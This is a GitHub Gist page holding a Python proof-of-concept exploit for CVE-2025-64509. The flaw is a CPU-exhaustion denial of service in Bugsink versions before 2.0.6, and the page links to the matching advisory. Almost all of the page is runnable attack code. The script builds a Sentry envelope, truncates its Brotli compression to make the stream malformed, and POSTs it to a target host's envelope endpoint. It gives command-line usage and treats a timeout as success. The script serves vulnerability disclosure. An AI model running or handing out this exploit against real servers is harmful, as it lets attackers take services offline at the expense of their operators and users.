Last active
November 13, 2025 04:29
-
-
Save fyxme/c1bb7f7883446fde1663777575628ca9 to your computer and use it in GitHub Desktop.
CVE-2025-64509 - Bugsink is vulnerable to unauthenticated remote DoS via crafted Brotli input (via CPU)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python3 | |
| """ | |
| Proof of Concept for Bugsink Brotli Decompression DoS Vulnerability | |
| This script sends a crafted Brotli-compressed envelope to a Bugsink server, | |
| demonstrating the CPU exhaustion vulnerability in versions before 2.0.6. | |
| The vulnerability allows an attacker with knowledge of the DSN to send | |
| specially crafted Brotli-compressed data that causes excessive CPU usage | |
| during decompression, leading to denial of service. | |
| ref: https://github.com/advisories/GHSA-rrx3-2x4g-mq2h | |
| """ | |
| import brotli | |
| import requests | |
| import uuid | |
| import json | |
| import sys | |
| def create_malicious_envelope(dsn, project_id): | |
| """ | |
| Create a crafted Brotli input that causes infinite loop in decompression. | |
| The vulnerability is in brotli_generator where the loop can run forever | |
| if the decompressor can't accept more data but process(b"") doesn't produce | |
| output and doesn't finish. | |
| To trigger this, we create a truncated or malformed Brotli stream. | |
| """ | |
| event_id = str(uuid.uuid4()) | |
| event_data = { | |
| "event_id": event_id, | |
| "message": "POC DoS attack via crafted Brotli input", | |
| "level": "error", | |
| "platform": "python" | |
| } | |
| envelope_headers = { | |
| "event_id": event_id, | |
| "dsn": dsn, | |
| "sent_at": "2025-11-12T22:00:00.000000Z" | |
| } | |
| item_headers = { | |
| "type": "event", | |
| "length": len(json.dumps(event_data).encode()) | |
| } | |
| # Construct the envelope | |
| envelope = ( | |
| json.dumps(envelope_headers) + "\n" + | |
| json.dumps(item_headers) + "\n" + | |
| json.dumps(event_data) + "\n" | |
| ).encode() | |
| # Compress with Brotli | |
| compressed = brotli.compress(envelope) | |
| # Craft malicious input: truncate the compressed data to create | |
| # an incomplete Brotli stream that causes the decompressor to get stuck | |
| malicious_compressed = compressed[:-10] # Remove last 10 bytes to make it invalid | |
| return malicious_compressed | |
| def send_malicious_request(host, project_id, dsn): | |
| """ | |
| Send the malicious Brotli-compressed envelope to the Bugsink server. | |
| """ | |
| malicious_payload = create_malicious_envelope(dsn, project_id) | |
| # edit to https if needed | |
| url = f"http://{host}/api/{project_id}/envelope/" | |
| headers = { | |
| "Content-Encoding": "br", | |
| "Content-Type": "application/x-sentry-envelope", | |
| "User-Agent": "Bugsink-POC/1.0" | |
| } | |
| print(f"Sending malicious Brotli payload to {url}") | |
| print(f"Payload size: {len(malicious_payload)} bytes") | |
| print("This crafted input should cause excessive CPU usage during decompression.") | |
| try: | |
| response = requests.post(url, data=malicious_payload, headers=headers, timeout=30) | |
| print(f"Response status: {response.status_code}") | |
| print(f"Response: {response.text[:200]}...") | |
| except requests.exceptions.Timeout: | |
| print("Request timed out - potential DoS successful") | |
| except Exception as e: | |
| print(f"Error: {e}") | |
| if __name__ == "__main__": | |
| if len(sys.argv) != 3: | |
| print("Usage: python poc.py <host> <dsn>") | |
| print("Example: python poc.py bugsink.example.com https://[email protected]/123") | |
| sys.exit(1) | |
| host = sys.argv[1] | |
| dsn = sys.argv[2] | |
| # Extract project_id from DSN | |
| # DSN format: https://public_key@host/project_id | |
| try: | |
| project_id = dsn.split('/')[-1] | |
| except: | |
| print("Invalid DSN format") | |
| sys.exit(1) | |
| send_malicious_request(host, project_id, dsn) |
Author
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Running a vulnerable version
Example crash